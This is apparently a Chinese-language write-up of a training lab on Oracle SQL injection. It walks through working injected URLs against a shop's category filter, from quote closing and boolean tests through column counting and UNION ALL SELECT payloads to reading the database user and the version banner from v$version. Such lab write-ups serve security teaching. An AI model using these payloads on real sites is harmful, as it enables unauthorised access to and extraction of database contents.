文章目录
前言
实验室标题为:
SQL 注入攻击,查询 Oracle 数据库类型和版本
等级:执业者
本实验室的产品类别过滤器中存在 SQL 注入漏洞。您可以使用 UNION 攻击从注入的查询中获取结果。
要解决该实验室问题,请显示数据库版本字符串。
进入实验室
可以看到是一个商店页面
点击 Gifts
可以看到在页面中显示有 Gifts
https://xxxxxxxxx/filter?category=Gifts
可以看到链接中的传参值为Gifts
这里借助谷歌插件 hackbar 来查询
首先尝试闭合
https://xxxxxxxxx/filter?category=Gifts' --
页面返回正常
接着用 and 1=1 判断是否存在 sql 注入
https://xxxxxxxxx/filter?category=Gifts' and 1=1 --
页面返回正常
and 1=2 页面返回空白,说明存在 sql 注入
https://xxxxxxxxx/filter?category=Gifts' and 1=2 --
order by 排序
https://xxxxxxxxx/filter?category=Gifts' order by 2 --
order by 2 页面返回正常,说明有两列数据
继续联合查询,union all
这里用 null 进行填充
https://xxxxxxxxx/filter?category=Gifts' union all select null,null from dual --
将第一个位置改为’aaaa’,页面返回正常,说明第一个位置是字符串类型
https://xxxxxxxxx/filter?category=Gifts' union all select 'aaaa',null from dual --
将第一个位置改为 user
https://xxxxxxxxx/filter?category=Gifts' union all select user,null from dual --
成功输出用户名 PETER
继续尝试输出当前用户的表名
https://xxxxxxxxx/filter?category=Gifts' union select user,user_tables from dual --
页面显示服务器内部错误
构造 payload
输出 oracle 数据库的版本
https://xxxxxxxxx/filter?category=Gifts' union all select banner,null from v$version --
成功通关